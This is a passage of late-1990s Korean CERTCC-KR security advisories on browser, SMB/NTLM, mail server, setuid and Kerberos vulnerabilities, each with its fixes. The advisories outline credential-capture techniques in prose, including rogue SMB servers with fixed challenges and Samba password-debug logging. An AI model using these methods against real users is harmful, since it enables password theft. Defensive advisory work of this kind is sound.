트소유로 setuid가 걸린 프로그램이므로 사용자는 공격 성공시 관리자(root)의 euid를 갖게

된다.

--해결책-------------------------------------

현재 패치가 발표되지 않았으므로 패치가 나오기전까지 다음과 같이 대처한다.

1. 접근권한을 변경하여 루트만이 사용할 수 있게 한다.

% chmod 500 /usr/bin/eject

% chmod 500 /usr/bin

3. 패치가 나오기 전까지 다음의 wapper를 사용한다. 사용방법은 아래 소스의 코멘트를 참

조 하면된다.

ftp://ftp.aucert.org.au/pub/aucert/tools/overflow_wrapper.c

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-23.txt

Page 821: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-24-MSInternetExplorerisp

------------------------------------------

최초발표일 : 97. 3. 7

갱신일 및 갱신 내용 : 97. 3. 8

출처 : http://web.mit.edu/crioux/www/ie/

--제목--------------------------------------

MS Internet Explorer ISP 취약점과 대책

--개요--------------------------------------

마이크로소프트의 인터넷익스플로러 3.01a를 사용할 경우, 공격자 웹서버의 특정 html파일

에 접근하는 임의의 사용자에 대해 사용자가 접근가능한 어떠한 프로그램이라도 원격으로

실행 시킬 수 있다. 이 취약점은 현재 원도우즈 95 버전의 인터넷 익스플로러에만 영향을

주며, 원도우즈 NT 버전에는 영향을 주지 않는 것으로 알려져 있다. 현재 마이크로소프트

사에서 수정판을 공급하고 있다

--설명--------------------------------------

‘.ISP' 파일을 이용하여 ISP(Internet Service Provider)에 자동으로 등록해주는 Internet

Connection Wizard(ICW)프로그램이 시스템에 존재하는 인터넷익스플로러 3.01a 사용자가,

공격자가 만든 악의적인 ’.ISP'화일에 연결된 html 파일을 가진 웹서버에 접속하여 해당 링

크를 클릭할 경우 공격자가 만든 ‘.ISP' 파일의 내용대로 사용자 시스템에서 명령이 수행된

다. (스크립터언어를 이용하여 자동으로 실행되도록 할 수도 있다.) 또한 윈도우즈 95 버전

의 인터넷 익스플로러는 이 ’.ISP' 파일을 표시프로그램설정에서 디폴트로 저장할 것인지 묻

지않고 실행한다.

--영향--------------------------------------

이 문제점을 이용하여 어디에서든지 공격자가 특정 html파일에서 지시한대로 사용자 시스

템상의 임의의 프로그램 (예를들어 FORMAT.COM, DELTREE.EXE, 또는 START.EXE 등)

을 수행시킬 수 있으므로 사용자가 시스템 및 네트워크에 대해 수행할 수 있는 모든 작업

(예를들어 시스템내의 파일 변경이나 삭제, 주요 정보의 유출 등)을 브라우저를 통해 수행

시키도록 할 수 있다.

--해결책-------------------------------------

인터넷 익스플로러에 대해서 수정판이 제공되고 있다.

- http://www.microsoft.com/ie_intl/ko/security/download.html

- http://www.microsoft.com/ie/security/download.htm

Page 822: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-24.txt

Page 823: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-25-MSInternetExplorerispUMD

------------------------------------------

최초발표일 : 97. 3. 5

갱신일 및 갱신 내용 : 97. 3. 8

출처 : http://dec.dorm.umd.edu

--제목--------------------------------------

MS Internet Explorer UMD 취약점과 대책

--개요--------------------------------------

공격자가 자신의 웹페이지 내의 프레임을 축소하여 아이콘처럼 보이도록 할 수 있는데, 사

용자가 마이크로소프트 인터넷익스플로러 3.0을 사용할 경우, 원격으로 응용 프로그램이 실

행될 수 있다. 현재 마이크로소프트사에서 수정판을 공급하고 있다.

--설명--------------------------------------

이 취약점은 오직 인터넷 익스플로러 3.0 (버전 4.70.1215)사용자에게만 영향을 준다. 공격

자는 HTML 3.2의 IE 확장구조중 IFRAME을 이용하여 특정 웹페이지에 프레임을 축소하여

아이콘처럼 보이게 할 수 있다. 사용자가 이 웹페이지에 접속할 경우 원격으로 응용 프로그

램이 실행될 수 있다. 사용자가 CIFS (윈도우즈 NT 4.0 서비스팩 1 또는 그 이후 버전이

설치된 경우)가 운용되고 있는 시스템을 사용하고 있을 경우 문제가 더욱 심각해진다. 그

이유는 일반적인 경우에는 윈도우즈 name resolution의 범위내(사용자의 LMHOSTS파일

또는 WIN서버에 등록된 시스템들)에서만 원격파일을 실행시킬 수 있지만, CIFS 환경하에서

는 인터넷의 임의의 위치에 있는 원격 시스템내의 파일을 실행시킬 수 있다

--영향--------------------------------------

인터넷 익스플로러 3.0 (버전 4.70.1215)을 사용하여 공격자의 웹서버의 특정 웹페이지에

접근하는 시스템에 대하여 원격 시스템내의 파일을 실행시킬 수 있다.

--해결책-------------------------------------

인터넷 익스플로러 3.0/3.01 버전에 대해서는 수정판이 제공되고 있다.

- http://www.microsoft.com/ie_intl/ko/security/download.html

- http://www.microsoft.com/ie/security/download.htm

--기타--------------------------------------

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

Page 824: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-25.txt

Page 825: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-26-MSInternetExplorerispNTL

------------------------------------------

최초발표일 : 97. 3. 14

갱신일 및 갱신 내용 :

출처 : http://www.efsl.com/security/ntie

--제목--------------------------------------

MS Internet Explorer NTLM 인증 대책

--개요--------------------------------------

Window NT 3.51/4.0 상에서 마이크로소프트 인터넷익스플로러 2.x/3.x를 사용할 때

NYLM(NT LanManager) challenge response 인증과정의 취약성으로 인터넷익스플로러

클라이언트 사용자의 패스워드를 알아낼 수 있다.

--설명--------------------------------------

1. Window NT에서 인터넷익스플로러를 이용하여 NTLM을 지원하는 원격 웹서버에 접근

할 경우 인증절차를 거치게 된다. 이때 웹서버는 클라이언트에 NTLM 인증요청을 하게된

다. 인증을 하는동안 인터넷 익스플로러는 사용자이름, 도메인이름, 워크그룹, 호스트이름을

인증 요청자에게 보낸다. 그 다음 원격 서버는 8바이트의 챌린지를 클라이언트(IE)에게 보

내고 NT상의 클라이언트(IE)는 이 챌린지를 이용하여 사용자의 패스워드를 암호화하여 보

내게 된다. 이 과정에는 다음과 같은 문제점들이 있다.

- 서버는 연결해오는 모든 클라이언트에게 같은 챌린지를 보낼 수 있다.

- 서버는 다른 서버로부터 챌린지를 받아 이를 다른 클라이언트측에 챌린지로서 전송하여

암호화하도록 할 수 있다.

- 클라이언트는 정당한 서버와 인증작업을 하는지 확인하지 못한다.

- 클라이언트는 사용자는 이러한 인증이 일어나는지를 감지하지 못한다.

2. 모든 가능한 패스워드에 대해 고정된 챌린지를 이용하여 미리 암호화된 패스워드를 계산

해 데이터베이스를 구축하고 접속해오는 클라이언트에게 같은 챌린지를 보내 응답으로 보내

진 암호화된 패스워드를 미리 계산된 데이터베이스와 비교하여 패스워드를 알아낸다.

--영향--------------------------------------

Window NT상에서 인터넷익스플로러를 사용하는 사용자의 패스워드를 알아낼 수 있다.

--해결책-------------------------------------

제어판/서비스 항목에서 NTLM SSP service를 취소시킨다(단, NT상의 다른 서비스에도

영향을 줄 수 있다.)

--기타--------------------------------------

Page 826: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-26.txt

Page 827: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-27-NTSMBAuthentication

------------------------------------------

최초발표일 : 97. 3. 14

갱신일 및 갱신 내용 : 97.3.25

출처 : http://www.ee.washington.edu/computing/iebug

--제목--------------------------------------

윈도우즈 NT SMB 서버인증 취약점과 대책

--개요--------------------------------------

Window NT 3.51/4.0 상에서 마이크로소프트 인터넷익스플로러를 사용할 때 SMB(Server

Message Block) challenge response 인증과정의 취약성으로 인터넷익스플로러 클라이언

트 사용자의 패스워드를 알아낼 수 있다.

--설명--------------------------------------

공격자는 SMB(Shared Message Block) 프로토콜을 지원하는 서버(예를들면Samba)변경

후 실행시키고 이 서버를 통해 접근가능한 이미지등을 웹서버의 특정 웹페이지에 링크시켜

둔다. 사용자가 웹브라우저를 이용해 이 웹페이지의 해당링크에 접근하면 웹브라우저는

SMB 서버에 접속하게 되는데 웹브라우저는 SMB서버와의 인증을 위해 사용자에게 아무런

확인과정을 거치지 않고 사용자의 이름과 암호화된 패스워드를 SMB 서버로 보내게 된다.

조작된 SMB 서버는 고정된 챌린지를 사용하여 클라이언트가 접속하고자 할 때 항상 같은

챌린지를 보내게하고 응답으로 돌아오는 사용자 이름과 암호화된 패스워드를 기록하여 미리

계산된 암호화된 패스워드와 비교하여 상대편의 패스워드를 알아낸다.

주요 취약 웹브라우저

(NN : Netscape Navigator, IE : Internet Explorer)

WindowsNT 3.51 Workstation - NN 3.01

WindowsNT 4.0 Server Service pach2 - IE 3.0B/NN3.01p/IE3.02

WindowsNT 4.0 Workstation Service Patch1 - NN3.0/NN3.01

WindowsNT 4.0 Workstation Service Patch2 - IE3.01B/IE3.02/NN3.01

--영향--------------------------------------

Window NT나 Window 95상에서 IE 3.x 또는 Netscape Navigator 3.x를 사용하는 사용

자의 패스워드를 알아낼 수 있다.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

Page 828: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-27.txt

Page 829: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-28-WIN95SMBAuthentication

------------------------------------------

최초발표일 : 97.3.31

출처 :

--제목--------------------------------------

윈도우즈95 의 SMB 서버인증 취약점과 대책

--개요--------------------------------------

SMB서버(Samba등)와 windows 95간의 인증이 클라이언트의 의도와 상관없이 이루어진다

는점과 SMB서버의 패스워드 디버깅모드를 이용하여(Samba의 경우)공격자는 공격대상사용

자의 평문 패스워드를 알아낼 수 있다.

--설명--------------------------------------

공격자는 Samba 서버를 패스워드 디버깅모드로 재컴파일하고 공격대상호스트의 IP 주소와

워크그룹을 알아내어 smb.cfg화일을 수정한 뒤, 웹페이지의 한 링크에 SMB 서버 시스템에

있는 이미지파일에 링크를 만들어둔다. 사용자가 해당 웹페이지를 열람할 경우 사용자의도

와는 상관없이 자동적으로 SMB 서버와의 인증이 이루어지고 Samba 로그파일에는 평문인

사용자이름과 패스워드가 기록된다.

-취약한 웹브라우저

Windows95 (SPI) - NN 3.x

Windows95 Service Pack1 - IE 3.02

--영향--------------------------------------

Internet에 연결된 Window 95는 평문으로 패스워드를 유출할 가능성이 있다.

--해결책-------------------------------------

- 라우터나 방화벽을 이용하여 외부에서 137,138,139번 포트의 접근을 막는다.(내부의 공

격은 막지 못한다.)

- 패치를 적용한다.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-28.txt

Page 830: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-30-ucbmail

------------------------------------------

최초발표일 : 1997.4.14

갱신일 및 갱신 내용 :

출처 : CERT Advisory CA-97.08

ftp://info.cert.org/pub/cert_advisories/CA-97.08.innd

--제목--------------------------------------

ucbmail 취약점과 대책

--개요--------------------------------------

INN (InterNetNews) 서버에 대해 또다른 취약점이 발견되었으며, 버전 1.5.1과 그 이전 버

전이 모두 취약하다. 이 취약점을 이용하여 임의의 사용자가 뉴스 제어 메시지를 보냄으로

써 INN 서버가 수행되고 있는 시스템에서 임의의 명령을 실행할 수 있다.

--설명--------------------------------------

INN 서버는 데이터를 쉘로 보내기 전에 제어 메시지에 있는 데이터로부터 특정한 쉘 메타

문자를 제거한다. 이전의 보안 취약점에 대해 일부 부적절한 점검에 대한 패치가 제공되었

으나, INN 서버와 함께 ucbmail 프로그램을 사용할 경우 ucbmail 프로그램에서 이같은 점

검을 완벽하게 하지 못해 취약성이 나타난다. INN 서버는 일부 데이터를 점검하지 않고 메

일러에게 보내며, 메일러는 이데이터를 다시 쉘로 보내서 수행하도록 하는데, 이때 취약점

이 생기게 된다. ucbmail 프로그램만이 이러한 취약점을 가지고 알려졌지만, 다른 메일 프

로그램을 사용하는 INN 서버에서도 패치를 하도록 권고한다. 시스템에 어떤 버전의 INN이

실행되고 있는지 확인하려면 다음과 같이 NNYP 포트 (119)를 통해 접속한다.

%telent news.your.site 119

Connected to news.your.site

Escape character is '^]'.

200 news.your.site InterNetNews server INN 1.4unooff4 05-Mar-96 ready

연결을 해제하려면 'quit'을 입력한다.

--영향--------------------------------------

임의의 사용자가 INN 서버가 수행되고 있는 시스템에서 임의의 명령어를 실행할 수 있다.

--해결책-------------------------------------

INN 1.5.1 버전으로 업그레이드한 후 패치를 적용하거나, 업그레이드, 전에는 그에 해당하

는 패치를 적용한다.

--기타--------------------------------------

자세한 설명은 CERT Advisory CA-97.08을 참조하기 바람.

Page 831: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-30.txt

Page 832: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-31-Shockwave

------------------------------------------

최초발표일 : 97.3.10

개정발표일 : 97.3.20

최종발표일 :

출처 : http://www.webcomics.com/shockwave

--제목--------------------------------------

Shockwave 취약점과 대책

--개요--------------------------------------

Shockwave와 관련하여 다음과 같은 3가지 보안 취약성이 있다.

메일폴더접근 Win 95/NT 또는 Mac상의 Netscape 2.x, 3.x

내부웹싸이트 접근 Win 95/NT 또는 Mac상의 Netscape, IE

국지파일 접근 Win 95/NT 또는 Mac상의 Netscape 2.02, 3.0

--설명--------------------------------------

1. 메일폴더 접근

Netscape의 메일폴더는 디폴트로 디렉토리와 이름이 정해져있으며 Shockwave 무비 개발

Shockwave 명령 “GETNETTEXT"를 이용해 Navigator의 메일폴더에 접근하게하여 메일

을 변수에 저장한 뒤 나중에 서버로 전송할 수 있다.

2. 내부 웹싸이트 접근

악성 Shockwave 무비를 이용하여 사용자가 접근할 수 있다. 인트라넷과 같은 내부의 웹싸

이트에 접근. 데이터를 빼내올 수 있다.

3. 국지파일 접근

Shockwave는 하드 드라이브상의 임의의 파일에 접근할 수 있다. 이 취약성은 Netscape

프로토콜 모델에 기인한 것으로 Shockwave에만 노출되어 있다. 문제의 심각성 때문에 공

격방법은 발표되지 않았다.

--영향--------------------------------------

공격자가 악성 Shockwave 무비를 이용하여 전자메일뿐 아니라 임의의 파일까지도 읽을 수

있다.

--해결책-------------------------------------

1. 메일 관련 공격에 대해서는 메일 디렉토리를 다른 디렉토리로 옮기거나 다른 이름으로

바꾼다.

2. 최신 버전의 Shockwave를 설치한다.

http://www.macromedia.com/shockwave

Page 833: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-31.txt

Page 834: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-32-ImapPop

------------------------------------------

최초발표일 : 1997, 4, 7

갱신일 및 갱신 내용 :

출처 : CERT Advisory CA-97.09

ftp://info.cert.org/pub/cert_advisories/CA-97.09.imap_pop

--제목--------------------------------------

IMAP_POPdnl 취약점과 대책

--개요--------------------------------------

imapd, ipop2d, ipop3d 구현상의 오류로 권한이 없는 원격 사용자가 버퍼 오버플로우를 일

으켜 임의의 명령을 root 권한으로 실행시킬 수 있다.

--설명--------------------------------------

IMAP(Internet Message Access Protocol)은 원격 메시지 폴더에 대한 조작을 온라인 또

는 오프라인으로 할 수 있게한다. POP(Post Office Protocol)은 메일을 오프라인으로 처리

할 수 있게한다. 위의 두 프로토콜에서 서버는 사용자가 로그인할 때 메일 폴더를 접근하고

조작하기위해 잠시 root의 권한으로 실행되는데 사용자의 로그인 후에는 다시 원래의 사용

자 권한으로 되돌아간다. 그러나 로그인 과정에서의 취약성으로 인하여 원격사용자가 버퍼

오버플로우를 일으켜 임의의 명령을 root 권한으로 실행시킬 수 있다.

--영향--------------------------------------

취약성이 있는 IMAP 또는 POP 서버가 있는 시스템에 원격 사용자가 root의 권한으로 임

의의 명령을 실행시킬 수 있다.

--해결책-------------------------------------

1. 각 업체로부터 패치를 구하여 설치한다.

2. 최근의 버전인 IMAP4rev1으로 버전업 시킨다.

ftp://ftp.cac.washington.edu/mail/imap.tar.Z

3. 서비스를 하지 않는다.

--기타--------------------------------------

자세한 설명은 CERT Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

Page 835: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-32.txt

Page 836: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-33-IRIXGmem

------------------------------------------

최초발표일 : 1997.4.21

갱신일 및 갱신 내용 :

출처 : SGI Advisory 19970401-01-PX

httpo://www.sgi.com/Support/Secur/security.html

--제목--------------------------------------

IRIX gmemusage 취약점

--개요--------------------------------------

시스템의 메모리 사용량을 그래픽으로 보여주는 gmemeusage 프로그램에 취약점이 있어서

국지 사용자가 루트권한을 획득할 수 있다.

--설명--------------------------------------

gmemusage 는 Developer Toolbox의 일부분으로 배포되거나 eoe.sw.perf 서브시스템의

부분으로 배포되는 프로그램으로서 메모리 사용량을 그래픽으로 보여주는 기능을 한다. 이

프로그램에 설정되어 있는 setuid 권한을 이용하여 국지 계정을 가지고 있는 사용자가 루트

권한을 획득할 수 있다.

--영향--------------------------------------

국지 사용자가 루트 권한을 획득할 수 있다.

--해결책-------------------------------------

IRIX 시스템의 각 버전에 해당하는 패치를 적용한다. 패치전의 임시 해결책은 다음과 같다.

1. 루트로 시스템에 로긴한다.

2. gmemusage 프로그램의 위치를 찾는다.

#find / -type f -name gmemusage -local -print /usr/local/bin/gmemusage

3. 프로그램으로부터 setuid 권한을 제거한다.

# /bin/chmod u-s /usr/local/bin/gmemusage

--기타--------------------------------------

자세한 설명은 SGI Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

Page 837: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-33.txt

Page 838: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-34-NTCrack

------------------------------------------

최초발표일 : 1997.5.6

갱신일 및 갱신 내용 :

출처 :

ftp://samba.anu.edu.au/pub/samba/pwdump/README

http://www.secnet.com/ntinfo/ntcrack.html

http://ntbugtraq.rc.on.ca/samfaq.html

--제목--------------------------------------

윈도즈NT 크랙과 대책

--개요--------------------------------------

Window NT의 패스워드 크랙 프로그램으로 NT 사용자들의 패스워드를 알아낼 수 있다.

--설명--------------------------------------

현재 Jonathan Wilkins, Nihil, Alec Muffet, mudge등이 만든 4종류의 대표적인 NT

Crack 프로그램이 인터넷에 일반적으로 알려져 있다. 또한 pwdump(by Jeremy Allison)라

는 SAMBA 관리자용 응용프로그램이 악용되어 NT 패스워드를 사용자에게 노출시킨다. 이

프로그램의 결과는 주로 NT 크랙 프로그램의 입력값으로 사용된다. 저장된 NT 패스워드는

DES알고리즘으로 암호화된 부분과 MD4로 암호화된 부분으로 구성되어있다. 이 노출된 패

스워드의 공격대상 부분은 DES 알고리즘으로 암호화되어있는 부분이며 이 부분은 NT 패

스워드 크랙 프로그램으로 사전이용공격(Dictionary Attack)또는 임의반복공격(Brute

Force Attack)으로 해독 될 수 있다.

--영향--------------------------------------

NT 사용자들의 패스워드가 불법사용자들에게 노출 될 수 있다.

--해결책-------------------------------------

- 패스워드 생성시

1. 14문자 패스워드길이를 모두 사용한다.

2. ALT 키와 조합한다.

3. 숫자를 섞는다.

4. 33개의 기능키를 추가한다.

- 패스워드를 강화시키는 방법

http://www.microsoft.com/kb/articles/q161/9/90.html

http://www.microsoft.com/kb/articles/q151/0/82.htm

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hostfixes-postsp2/sec

-fix/

Page 839: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-34.txt

Page 840: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-35-NLS

------------------------------------------

최초발표일 : 97.4.24

개정발표일 :

최종발표일 :

출처 : ftp://info.cert.org/pub/cert_advisories/CA-97.10.nls

--제목--------------------------------------

NLS 취약점과 대책

--개요--------------------------------------

National Language Support를 이용하는 라이브러리들이 영향을 주는 버퍼 오버플로우가

존재한다.

--설명--------------------------------------

National Language Support는 언어, 화폐기호, 숫자, 시간포맷과 같은 문화나 지역에 따라

각기 다른 언어 형식들을 처리해주는 기능을 한다. 주로 주어진 문자열에 대한 해석방법을

제공하는 “locale" 기능을 사용한다. NLS를 위해 특별한 환경변수를 사용하는데 몇 개의

라이브러리에서 버퍼 오버플로우가 발생할 수 있다. 관련된 환경변수는 ”NLSPATH" 이거

나 “PATH_LOCALE" 이다. setuid나 setgid가 설정되어 있고 높은 권한을 가진 user-id

소유의 프로그램에 조작된 인수를 줌으로서 공격이 가능하다.

--영향--------------------------------------

국지 사용자가 자신에게 인가되지 않은 사용자의 권한으로 임의의 프로그램을 실행시킬 수

있다. 몇 몇 오래된 라이브러리를 사용하는 시스템은 원격으로도 공격당할 수 있는 가능서

이 있다. 영향 시스템 모든 AIX 시스템, 오래된 C 라이브러리(5.3.12이하)를 가진 Linux

--해결책-------------------------------------

패치가 나오는 즉시 설치한다. 기타 자세한 설명은 CERT Advisory를 참조

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-35.txt

Page 841: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-36-Kerberos

------------------------------------------

최초발표일 : 97.5.9

개정발표일 :

최종발표일 :

출처 : ftp://ftp.secnet.com/pub/advisories

--제목--------------------------------------

Kerberos 취약점과 대책

--개요--------------------------------------

Kerberos IV 호환 라이브러리를 사용하는 Kerberos V는 버퍼오버플로우를 일으킬 수 있

다.

Kerberos V telnet 데몬은 버퍼오버플로우 취약성이 있다.

--설명--------------------------------------

Kerberos V상의 Kerberos IV 호환 라이브러리에서 이 문제가 비롯된다. 환경변수로 지정

된 구성 파일을 읽을 때 적절한 바운드 검사를 하지 않기 때문에 Setuid-root된 프로그램

이 문제가 있는 라이브러리의 함수를 사용하게 되면 공격자는 자신이 많든 조작된 구성 파

일을 통해 버퍼오버플로우를 일으켜 root 권한을 얻을 수 있다. Kerberos에서 사용하는

telnet 데몬 또한 특정 환경변수의 적절한 한계검사를 하지 않기 때문에 원격사용자가 버퍼

오버플로우 취약성을 이용한 공격에 사용될 수 있다.

--영향--------------------------------------

Kerberos를 이용하는 setuid 프로그램을 통해 일반 사용자가 비인가된 권한을 얻을 수 있

다. 비 인가된 사용자가 원격에서 Kerberos V telnet 데몬을 수행하는 시스템의 root의 권

한을 얻을 수 있다.

--해결책-------------------------------------

패치를 설치한다.

http://web.mit.edu/kerberos/www/krb5-1.0/announce.html

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-36.txt

Page 842: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-38-suidperl

------------------------------------------

최초 발표일 : 1997.5.6

갱신일 및 갱신 내용 :

